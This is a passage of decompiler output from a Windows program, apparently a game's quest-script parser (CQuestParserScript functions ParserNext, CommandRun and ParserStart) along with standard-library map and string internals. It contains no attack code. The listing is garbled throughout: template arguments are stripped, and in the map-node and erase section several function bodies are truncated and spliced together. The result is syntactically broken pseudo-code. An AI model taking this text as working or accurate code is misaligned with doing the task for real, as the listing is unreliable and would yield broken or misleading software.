std::ios_base::getloc(v9, (std::locale *)&_Iosbase); v26 = 0; v11 = std::num_get>>::_Getifld( v7, _Ac, &_First, &_Last, 2048, v10); v12 = _Iosbase; v13 = v11; v26 = -1; if ( _Iosbase ) { std::_Lockit::_Lockit(&thisa, 0); v14 = *(_DWORD *)&v12->___u1.baseclass_4.dummy[0]; if ( v14 && v14 < 0xFFFFFFFF ) *(_DWORD *)&v12->___u1.baseclass_4.dummy[0] = v14 - 1; v15 = ((*(_DWORD *)&v12->___u1.baseclass_4.dummy[0] != 0) - 1) & (unsigned int)v12; std::_Lockit::__Lockit(&thisa); if ( v15 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v15)(v15, 1); } v16 = (void *)strtoul(_Ac, (char **)&_Ep, v13); HIDWORD(_Ans) = 0; v17 = std::istreambuf_iterator>::equal(&_First, &_Last); v18 = _State; if ( v17 ) *_State |= 1u; if ( _Ep == _Ac || *_errno() ) *v18 |= 2u; else *_Val = v16; v19 = *(_DWORD *)&_First; *(_DWORD *)&result->_Got = *(_DWORD *)&_First._Got; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = v19; __security_check_cookie(v25); return v20; } //----- (00572A80) -------------------------------------------------------- int std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::_Node(...) { std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Parent = _Parg; v7 = (char *)&this->_Myval; this->_Left = _Larg; this->_Right = _Rarg; this->_Myval.first._Myres = 15; this->_Myval.first._Mysize = 0; this->_Myval.first._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &this->_Myval.first, &_Val->first, 0, 0xFFFFFFFFu); *((_DWORD *)v7 + 7) = _Val->second; v6->_Color = _Carg; v6->_Isnil = 0; } //----- (00572AE0) -------------------------------------------------------- std::pair,std::allocator >,int> *__cdecl std::make_pair_std::allocator>_int>(std::pair,std::allocator >,int> *result, std::basic_string,std::allocator > _Val1, int _Val2) { bool v3; // cf@1 result->first._Mysize = 0; result->first._Myres = 15; result->first._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&result->first, &_Val1, 0, 0xFFFFFFFFu); v3 = _Val1._Myres < 0x10; result->second = _Val2; if ( !v3 ) operator delete(*(void **)&_Val1._Bx._Buf[0]); return result; } //----- (00572B50) -------------------------------------------------------- STRUCT_QSC *__thiscall CQuestParserScript::ParserNext(CQuestParserScript *this) { CQuestParserScript *v1; // esi@1 CToken *v2; // edi@1 char *v3; // eax@1 STRUCT_QSC *result; // eax@2 unsigned int v5; // ecx@3 bool v6; // cf@3 bool v7; // zf@3 STRUCT_QSC *v8; // ebx@3 char *v9; // ebp@6 __int16 v10; // ax@7 char **v11; // edx@7 char *v12; // ebp@11 char *v13; // edi@14 int v14; // edx@19 const char v15; // cl@20 int v16; // esi@23 const char v17; // cl@24 char *v18; // ebp@26 char *v19; // ebp@28 char *v20; // ebp@41 char *v21; // ebp@42 __int16 v22; // ax@47 char *v23; // ebp@54 unsigned int v24; // eax@54 std::basic_string,std::allocator > *v25; // eax@56 bool v26; // bl@56 int v27; // eax@57 char *v28; // eax@61 char **v29; // eax@62 char *v30; // edi@62 unsigned int v31; // eax@62 STRUCT_QSC *v32; // ebx@63 unsigned int v33; // edx@63 std::basic_string,std::allocator > *v34; // eax@64 bool v35; // bl@64 STRUCT_QSC *v36; // ebx@65 int v37; // edx@65 int v38; // eax@67 STRUCT_QSC *v39; // ebx@67 STRUCT_QSC *v40; // ecx@69 STRUCT_QSC *v41; // ebx@69 STRUCT_QSC *v42; // edx@70 unsigned int v43; // ecx@72 char **v44; // eax@73 char *v45; // edi@73 unsigned int v46; // eax@73 unsigned int v47; // ecx@77 char **v48; // eax@78 unsigned int v49; // ecx@82 char **v50; // eax@83 unsigned int v51; // edx@84 unsigned int v52; // ecx@89 int v53; // ecx@93 int v54; // ecx@94 char *v55; // edx@108 unsigned int TokenID; // [sp+0h] [bp-50h]@1 STRUCT_QSC *v57; // [sp+4h] [bp-4Ch]@3 int nID; // [sp+8h] [bp-48h]@56 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-44h]@56 char v60; // [sp+28h] [bp-28h]@64 int v61; // [sp+4Ch] [bp-4h]@56 v1 = this; v2 = &this->m_Token; v3 = CToken::GetTokenID(&this->m_Token, &TokenID, (char **)this->m_ppQSC, 0x1Eu); if ( !v3 ) { result = &v1->m_QSC; v1->m_QSC.Cmd = 31; return result; } v5 = TokenID; v6 = TokenID < 0xF; v7 = TokenID == 15; v8 = &v1->m_QSC; v57 = &v1->m_QSC; v1->m_QSC.Cmd = TokenID; if ( !(v6 | v7) ) { if ( v5 <= 0x17 ) { if ( v5 != 23 ) { switch ( v5 ) { case 0x11u: v23 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 7u); v24 = TokenID; if ( TokenID == -1 ) { std::basic_string_std::allocator>::basic_string_std::allocator>( &thisa, v23); v61 = 0; v26 = CQuestParserScript::GetIDbyIndex(v25, &nID); v61 = -1; std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&thisa); if ( v26 ) { v27 = nID; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 7; } else { if ( !CQuestParserScript::IsDigitStr(v1, v23) ) { v42 = v57; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v23; result = v42; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 17; v42->Cmd = 0; return result; } v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 7; v27 = atoi(v23); } v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v27; } else { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = TokenID; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v24]; } v28 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSAE, 6u); if ( TokenID == -1 ) { v40 = v57; v41 = v57; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v28; result = v41; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 17; v40->Cmd = 0; } else { v29 = (char **)v1->m_ppQSV; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCode = TokenID; v30 = CToken::GetTokenID(v2, &TokenID, v29, 7u); v31 = TokenID; if ( TokenID == -1 ) { std::basic_string_std::allocator>::basic_string_std::allocator>( (std::basic_string,std::allocator > *)&v60, v30); v61 = 1; v35 = CQuestParserScript::GetIDbyIndex(v34, &nID); std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&v60); if ( v35 ) { v36 = v57; v37 = nID; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 7; result = v36; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v37; } else { if ( CQuestParserScript::IsDigitStr(v1, v30) ) { *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[12] = 7; v38 = atoi(v30); v39 = v57; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[16] = v38; result = v39; } else { result = v57; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v30; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 17; result->Cmd = 0; } } } else { v32 = v57; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[12] = TokenID; v33 = v1->m_Var[v31]; result = v32; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[16] = v33; } } return result; case 0x12u: v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = (QUEST_SCRIPT_COMMAND)CToken::GetToken(v2); return &v1->m_QSC; case 0x14u: v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 7u); v43 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 20; goto LABEL_110; } v44 = (char **)v1->m_ppQSV; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = TokenID; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v43]; v45 = CToken::GetTokenID(v2, &TokenID, v44, 7u); v46 = TokenID; if ( TokenID != -1 ) goto LABEL_84; if ( !CQuestParserScript::IsDigitStr(v1, v45) ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 20; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v45; goto LABEL_111; } goto LABEL_86; case 0x15u: v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 7u); v47 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 21; goto LABEL_110; } v48 = (char **)v1->m_ppQSV; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = TokenID; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v47]; v45 = CToken::GetTokenID(v2, &TokenID, v48, 7u); v46 = TokenID; if ( TokenID != -1 ) goto LABEL_84; if ( !CQuestParserScript::IsDigitStr(v1, v45) ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 21; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v45; goto LABEL_111; } goto LABEL_86; case 0x16u: v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 7u); v49 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 22; goto LABEL_110; } v50 = (char **)v1->m_ppQSV; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = TokenID; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v49]; v45 = CToken::GetTokenID(v2, &TokenID, v50, 7u); v46 = TokenID; if ( TokenID != -1 ) { LABEL_84: *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCode = v46; v51 = v1->m_Var[v46]; result = &v1->m_QSC; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[12] = v51; return result; } if ( CQuestParserScript::IsDigitStr(v1, v45) ) { LABEL_86: *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCode = 7; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[12] = atoi(v45); return &v1->m_QSC; } v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 22; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v45; break; default: goto LABEL_109; case 0x10u: return &v1->m_QSC; } goto LABEL_111; } v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v52 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 23; LABEL_110: v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v3; LABEL_111: v8->Cmd = 0; return &v1->m_QSC; } goto LABEL_103; } if ( v5 > 0x1B ) { if ( v5 == 31 ) return &v1->m_QSC; if ( v5 == -1 && *v3 == *v1->m_ppQSC[19] ) { v55 = v1->m_Token.m_pToken; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = (QUEST_SCRIPT_COMMAND)(v3 + 1); v8->Cmd = 19; result = &v1->m_QSC; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v55; return result; } } else { if ( v5 == 27 ) { v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v52 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 27; goto LABEL_110; } goto LABEL_103; } v53 = v5 - 24; if ( !v53 ) { v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v52 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 24; goto LABEL_110; } goto LABEL_103; } v54 = v53 - 1; if ( !v54 ) { v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v52 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 25; goto LABEL_110; } goto LABEL_103; } if ( v54 == 1 ) { v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v52 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 26; goto LABEL_110; } LABEL_103: v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = v52; result = &v1->m_QSC; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v52]; return result; } } LABEL_109: v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 29; goto LABEL_110; } if ( v7 ) { v20 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v20) ) { LABEL_47: v22 = atoi(v20); *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = 1; LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v22; CToken::SaveTokenPositon(v2); v21 = CToken::GetToken(v2); LABEL_48: if ( CQuestParserScript::IsDigitStr(v1, v21) ) { *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = atoi(v21); result = &v1->m_QSC; } else { LABEL_40: CToken::RestoreTokenPositon(v2, 0); result = &v1->m_QSC; } return result; } v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 15; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v20; goto LABEL_111; } switch ( v5 ) { case 2u: v9 = CToken::GetToken(v2); if ( !CQuestParserScript::IsDigitStr(v1, v9) ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 2; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v9; goto LABEL_111; } v10 = atoi(v9); v11 = (char **)v1->m_ppQST; LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v10; HIWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr) = -1; v3 = CToken::GetTokenID(v2, &TokenID, v11, 2u); if ( TokenID ) { if ( TokenID != 1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 2; goto LABEL_110; } result = &v1->m_QSC; *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = 1; } else { *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = 0; CToken::SaveTokenPositon(v2); v12 = CToken::GetToken(v2); if ( !CQuestParserScript::IsDigitStr(v1, v12) ) goto LABEL_40; HIWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr) = atoi(v12); result = &v1->m_QSC; } return result; case 3u: v13 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v13) ) { LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = atoi(v13); return &v1->m_QSC; } v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 3; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v13; goto LABEL_111; case 4u: v3 = CToken::GetToken(v2); if ( strlen(v3) >= 0x40 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 4; goto LABEL_110; } v14 = (char *)&v1->m_QSC.Data - v3; do { v15 = *v3; v3[v14] = *v3; ++v3; } while ( v15 ); v3 = CToken::GetToken(v2); if ( strlen(v3) >= 0x20 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 4; goto LABEL_110; } v16 = (char *)v1 - v3; do { v17 = *v3; v3[v16 + 2068] = *v3; ++v3; } while ( v17 ); return v8; case 7u: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v18) ) goto LABEL_38; goto LABEL_34; case 8u: v19 = CToken::GetToken(v2); if ( !CQuestParserScript::IsDigitStr(v1, v19) ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 8; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v19; goto LABEL_111; } BYTE2(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = atoi(v19); $L86034: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v18) ) { LABEL_38: LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = atoi(v18); result = &v1->m_QSC; } else { LABEL_36: LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v1->m_QuestID; CToken::RestoreTokenPositon(v2, 0); result = &v1->m_QSC; } break; case 5u: goto $L86034; case 0xAu: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v18) ) goto LABEL_38; LABEL_34: LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v1->m_QuestID; CToken::RestoreTokenPositon(v2, 0); return &v1->m_QSC; case 0xBu: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( !CQuestParserScript::IsDigitStr(v1, v18) ) goto LABEL_36; goto LABEL_38; case 6u: case 9u: case 0xCu: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v18) ) goto LABEL_38; LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v1->m_QuestID; goto LABEL_40; case 0xDu: v20 = CToken::GetToken(v2); if ( !CQuestParserScript::IsDigitStr(v1, v20) ) goto LABEL_45; LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = atoi(v20); *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = 1; CToken::SaveTokenPositon(v2); v21 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSIL, 1u); if ( TokenID ) goto LABEL_48; result = &v1->m_QSC; *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = -1; return result; case 0xEu: v20 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v20) ) goto LABEL_47; LABEL_45: v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 14; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v20; goto LABEL_111; case 1u: return &v1->m_QSC; default: goto LABEL_109; } return result; } //----- (00573660) -------------------------------------------------------- int __thiscall CQuestParserScript::CommandRun(CQuestParserScript *this, STRUCT_QSC *pCmd) { STRUCT_QSC *v2; // esi@1 CQuestParserScript *v3; // edi@1 int result; // eax@2 int v5; // eax@6 bool v6; // cf@10 unsigned int Value2; // [sp+0h] [bp-4h]@1 Value2 = (unsigned int)this; v2 = pCmd; v3 = this; switch ( pCmd->Cmd ) { case 0x10: CToken::GoNextLine(&this->m_Token); return 1; case 0x11: if ( !CQuestParserScript::GetScriptVariableValue( this, (unsigned int *)&pCmd, this->m_QuestID, (QUEST_SCRIPT_VARIABLE)pCmd->Data.STRUCT_QSC_ERROR.ErrCmd, (unsigned int)pCmd->Data.STRUCT_QSC_ERROR.pErrStr) || !CQuestParserScript::GetScriptVariableValue( v3, &Value2, v3->m_QuestID, *(QUEST_SCRIPT_VARIABLE *)&v2->Data.STRUCT_QSC_CALLPS.FileName[12], *(_DWORD *)&v2->Data.STRUCT_QSC_CALLPS.FileName[16]) ) goto $L103875; switch ( *(_DWORD *)&v2->Data.STRUCT_QSC_ERROR.ErrCode ) { case 0: v5 = pCmd == (STRUCT_QSC *)Value2; goto LABEL_13; case 1: v5 = pCmd != (STRUCT_QSC *)Value2; goto LABEL_13; case 2: v5 = (unsigned int)pCmd < Value2; goto LABEL_13; case 3: v5 = Value2 < (unsigned int)pCmd; goto LABEL_13; case 4: v6 = Value2 < (unsigned int)pCmd; goto LABEL_12; case 5: v6 = (unsigned int)pCmd < Value2; LABEL_12: v5 = 1 - v6; LABEL_13: if ( !v5 ) goto LABEL_14; goto LABEL_23; default: LABEL_14: CQuestParserScript::ParserNext(v3); result = 1; break; } return result; case 0x12: if ( CQuestParserScript::MarkGo(this, (const char *)pCmd->Data.STRUCT_QSC_ERROR.ErrCmd) ) goto LABEL_23; goto $L103875; case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: case 8: case 9: case 0xA: case 0xB: case 0xC: case 0xD: case 0xE: case 0xF: case 0x17: case 0x18: case 0x19: case 0x1A: case 0x1B: case 0x1C: goto $L103875; case 0x14: if ( !CQuestParserScript::GetScriptVariableValue( this, (unsigned int *)&pCmd, this->m_QuestID, *(QUEST_SCRIPT_VARIABLE *)&pCmd->Data.STRUCT_QSC_ERROR.ErrCode, *(_DWORD *)&pCmd->Data.STRUCT_QSC_CALLPS.FileName[12]) ) goto $L103875; v3->m_Var[v2->Data.STRUCT_QSC_ERROR.ErrCmd] = (unsigned int)pCmd; return 1; case 0x15: if ( !CQuestParserScript::GetScriptVariableValue( this, (unsigned int *)&pCmd, this->m_QuestID, *(QUEST_SCRIPT_VARIABLE *)&pCmd->Data.STRUCT_QSC_ERROR.ErrCode, *(_DWORD *)&pCmd->Data.STRUCT_QSC_CALLPS.FileName[12]) ) goto $L103875; v3->m_Var[v2->Data.STRUCT_QSC_ERROR.ErrCmd] += (unsigned int)pCmd; return 1; case 0x16: if ( CQuestParserScript::GetScriptVariableValue( this, (unsigned int *)&pCmd, this->m_QuestID, *(QUEST_SCRIPT_VARIABLE *)&pCmd->Data.STRUCT_QSC_ERROR.ErrCode, *(_DWORD *)&pCmd->Data.STRUCT_QSC_CALLPS.FileName[12]) ) { v3->m_Var[v2->Data.STRUCT_QSC_ERROR.ErrCmd] -= (unsigned int)pCmd; LABEL_23: result = 1; } else { $L103875: result = 0; } return result; default: goto LABEL_23; } } //----- (00573890) -------------------------------------------------------- int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Buynode(...) { void *v6; // esi@1 int v8; // [sp-Ch] [bp-24h]@1 void *v9; // [sp+0h] [bp-18h]@1 void *_Wherenode; // [sp+4h] [bp-14h]@1 int *v11; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 v11 = &v8; v6 = operator new(0x30u); _Wherenode = v6; v12 = 0; v9 = v6; LOBYTE(v12) = 1; if ( v6 ) std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::_Node( (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::erase(...) { std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v3; // ebx@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v4; // ebp@4 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v5; // edi@5 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v6; // ecx@8 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v7; // esi@9 int v8; // eax@11 int v9; // ebx@16 std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v15; // ecx@37 int v16; // eax@39 bool v17; // zf@54 int v18; // eax@62 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v19; // eax@64 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v20; // [sp+0h] [bp-54h]@1 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v23; // [sp+50h] [bp-4h]@2 v3 = this; v20 = this; if ( *(_BYTE *)(_Where + 45) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v23 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::const_iterator::_Inc(&_Where); if ( *(_BYTE *)(*(_DWORD *)v4 + 45) ) { v5 = *(_DWORD *)(v4 + 8); LABEL_9: v7 = *(_DWORD *)(v4 + 4); if ( !*(_BYTE *)(v5 + 45) ) *(_DWORD *)(v5 + 4) = v7; v8 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v8 + 4) == v4 ) { *(_DWORD *)(v8 + 4) = v5; } else { if ( *(_DWORD *)v7 == v4 ) *(_DWORD *)v7 = v5; else *(_DWORD *)(v7 + 8) = v5; } v9 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)v9 == v4 ) { if ( *(_BYTE *)(v5 + 45) ) v10 = (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Min((std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Max((std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator= 0x10u ) operator delete(*(void **)(v4 + 16)); *(_DWORD *)(v4 + 36) = 15; *(_DWORD *)(v4 + 32) = 0; *(_BYTE *)(v4 + 16) = 0; operator delete((void *)v4); v18 = *((_DWORD *)v20 + 2); if ( v18 ) *((_DWORD *)v20 + 2) = v18 - 1; v19 = result; *result = _Where; return v19; } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00573C00) -------------------------------------------------------- int __thiscall CQuestParserScript::ParserStart(CQuestParserScript *this, unsigned __int16 nQuestID, const char *pScript) { CQuestParserScript *v3; // esi@1 CToken *v4; // ebp@1 int v5; // edi@2 int v6; // eax@3 int result; // eax@12 v3 = this; this->m_QuestID = nQuestID; this->m_Var[0] = 0; this->m_Var[1] = 0; this->m_Var[2] = 0; this->m_Var[3] = 0; this->m_Var[4] = 0; this->m_Var[5] = 0; this->m_Var[6] = 0; this->m_Var[7] = 0; this->m_NumOfMark = 0; v4 = &this->m_Token; if ( !CToken::OpenFromMemory(&this->m_Token, (char *)pScript) ) goto LABEL_16; v3->m_NumOfError = 0; v5 = (int)&v3->m_QSC; do { CQuestParserScript::ParserNext(v3); v6 = *(_DWORD *)v5; if ( !*(_DWORD *)v5 ) ++v3->m_NumOfError; if ( v6 == 16 ) v3->vfptr->CommandRun(v3, &v3->m_QSC); if ( *(_DWORD *)v5 == 19 ) { if ( !CQuestParserScript::MarkAdd( v3, (const char *)v3->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd, v3->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr) ) ++v3->m_NumOfError; } } while ( *(_DWORD *)v5 != 31 ); if ( v3->m_NumOfError ) LABEL_16: result = 0; else result = CToken::GoBegin(v4); return result; } //----- (00573CC0) -------------------------------------------------------- void __thiscall std::basic_ifstream>::basic_ifstream>(std::basic_ifstream > *this) { std::basic_ifstream > *v1; // ebp@1 int v2; // edx@3 char *v3; // esi@3 int v4; // [sp+28h] [bp+4h]@0 v1 = this; if ( v4 ) { *(_DWORD *)&this->___u0.baseclass_0.gap0[0] = &std::basic_ifstream>::_vbtable_; *(_DWORD *)&this->gap64[0] = &std::basic_ios>::_vftable_; } *(_DWORD *)&this->___u0.baseclass_0.gap0[*(_DWORD *)(*(_DWORD *)&this->___u0.baseclass_0.gap0[0] + 4)] = std::basic_istream>::_vftable_; v2 = *(_DWORD *)&this->___u0.baseclass_0.gap0[0]; this->___u0.baseclass_0._Chcount = 0; v3 = (char *)this + *(_DWORD *)(v2 + 4); std::ios_base::_Init((std::ios_base *)((char *)this + *(_DWORD *)(v2 